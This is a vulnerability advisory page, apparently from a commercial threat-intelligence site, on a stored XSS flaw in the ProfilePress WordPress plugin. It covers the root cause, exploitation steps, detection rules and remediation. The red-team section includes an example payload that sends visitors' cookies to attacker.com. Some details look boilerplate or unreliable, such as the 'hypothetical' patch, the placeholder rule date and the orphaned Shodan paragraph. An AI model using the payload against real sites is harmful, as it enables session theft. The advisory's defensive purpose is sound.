CVE-2024-2861
Executive Summary
CVE-2024-2861 is a Stored Cross-Site Scripting (XSS) vulnerability discovered in the ProfilePress plugin for WordPress, affecting all versions up to and including 4.15.8. The flaw resides in the ProfilePress User Panel widget, where insufficient input sanitization and output escaping on user-supplied attributes allow authenticated attackers with contributor-level access or higher to inject arbitrary web scripts. These scripts execute whenever a victim user accesses the compromised page, leading to session hijacking, credential theft, or defacement. The vulnerability is classified as a WordPress ecosystem issue and does not involve Apache or Nginx server misconfigurations.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects the ProfilePress plugin distributed via the official WordPress plugin repository. No malicious package injection has been observed, but the lack of a vendor patch increases supply chain risk for sites relying on automatic updates. Administrators should verify plugin integrity and consider temporary removal until a fix is released.
CVSS Breakdown & Threat Level
- CVSS Score: 6.4 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: Low (Contributor-level)
- User Interaction: None
- Scope: Changed (impact on other components)
- Confidentiality Impact: Low
- Integrity Impact: Low
- Availability Impact: None
- Threat Level: Medium – Exploitation requires authenticated access but can lead to persistent compromise of user sessions and site integrity.
Deep Dive & Mechanics
The vulnerability exists in the [profilepress-user-panel] shortcode or widget, which renders user profile information. The plugin fails to properly sanitize user-supplied attributes (e.g., class, style, or custom data attributes) before outputting them in the HTML. An attacker with contributor-level access can craft a post or page containing the widget with malicious JavaScript embedded in an attribute. When the page is rendered, the script executes in the context of any visitor’s browser, including administrators.
Root Cause: The plugin uses esc_attr() inconsistently or not at all for certain widget attributes, allowing injection of event handlers like onmouseover or direct script tags via data-* attributes.
Attack Flow:
- Attacker logs in as a Contributor.
- Creates a new post/page and inserts the ProfilePress User Panel widget.
- Injects a payload such as
onmouseover="alert('XSS')"into an attribute field. - Publishes the post (or saves as draft and tricks an admin to preview).
- Any user visiting the page triggers the script.
Vulnerable vs. Patched Code
Vulnerable Code (ProfilePress <= 4.15.8):
// In widget output function
$class = $instance['class']; // No sanitization
echo '<div class="' . $class . '">'; // Direct output
Patched Code (Hypothetical fix):
// In widget output function
$class = sanitize_html_class( $instance['class'] ); // Sanitize
echo '<div class="' . esc_attr( $class ) . '">'; // Escape output
The patch must apply sanitize_html_class() and esc_attr() to all user-supplied attributes in the widget.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- WordPress instance with ProfilePress plugin <= 4.15.8.
- Contributor-level account.
Steps:
- Log in as Contributor.
- Create a new post.
- Insert the ProfilePress User Panel widget via the block editor or shortcode.
- In the widget settings, inject a payload into a text field (e.g.,
classattribute):" onmouseover="alert(document.cookie) - Publish the post.
- When an admin or visitor views the post, the XSS triggers.
Example Payload:
<div class="pp-user-panel" onmouseover="fetch('https://attacker.com/steal?cookie='+document.cookie)">Profile</div>
Blue Team (Detection & Hardening)
Detection:
- Monitor for posts/pages containing the
[profilepress-user-panel]shortcode with suspicious attributes. - Use WAF rules to block event handler injection in widget fields.
Hardening:
- Disable the ProfilePress User Panel widget until a patch is available.
- Restrict contributor-level users from publishing posts (use
pendingstatus). - Apply a Content Security Policy (CSP) to block inline scripts.
Indicators of Compromise (IOCs)
- File:
/wp-content/plugins/wp-user-avatar/profilepress.php(or similar) - Pattern in database: Posts containing
[profilepress-user-panelwithon*=attributes. - Network: Outbound requests to attacker-controlled domains from WordPress admin pages.
- Logs: Suspicious
wp_insert_postorwp_update_postactions by contributor users.
Detection Engineering
YARA Rule
rule CVE_2024_2861_ProfilePress_XSS {
meta:
description = "Detects malicious ProfilePress widget attributes indicative of CVE-2024-2861"
author = "Valters IT"
date = "2024-01-01"
reference = "CVE-2024-2861"
strings:
$payload1 = /on\w+\s*=\s*["'][^"']*["']/ nocase
$payload2 = /<script[^>]*>.*<\/script>/i
$widget = /\[profilepress-user-panel[^\]]*\]/i
condition:
$widget and ($payload1 or $payload2)
}
Sigma Rule
title: CVE-2024-2861 ProfilePress Stored XSS
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects stored XSS attempts via ProfilePress User Panel widget
author: Valters IT
logsource:
category: webserver
product: wordpress
detection:
selection:
http.url|contains: 'wp-json\/wp\/v2\/posts'
http.body|contains: 'profilepress-user-panel'
http.body|re: 'on\w+\s*='
condition: selection
falsepositives:
- Legitimate use of event handlers by developers
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-2861 ProfilePress Stored XSS Attempt"; flow:to_server; content:"profilepress-user-panel"; http_client_body; pcre:"/on\w+\s*=\s*[\x22\x27][^\x22\x27]*[\x22\x27]/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the ProfilePress User Panel widget by removing the shortcode from all posts/pages.
- Restrict contributor-level users from publishing content (set to
pendingreview). - Apply a Web Application Firewall (WAF) rule to block event handler injection.
Long-term Fix:
- Monitor the ProfilePress plugin repository for an official patch (expected version 4.15.9 or later).
- Once patched, update the plugin and re-enable the widget.
- Conduct a security audit of all posts/pages for injected XSS payloads.
Workaround:
- Use a custom filter to sanitize widget attributes:
add_filter( 'profilepress_user_panel_attributes', function( $attrs ) {
foreach ( $attrs as $key => $value ) {
$attrs[$key] = sanitize_html_class( $value );
}
return $attrs;
} );
Valters IT
Securing WordPress ecosystems with precision threat intelligence.
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.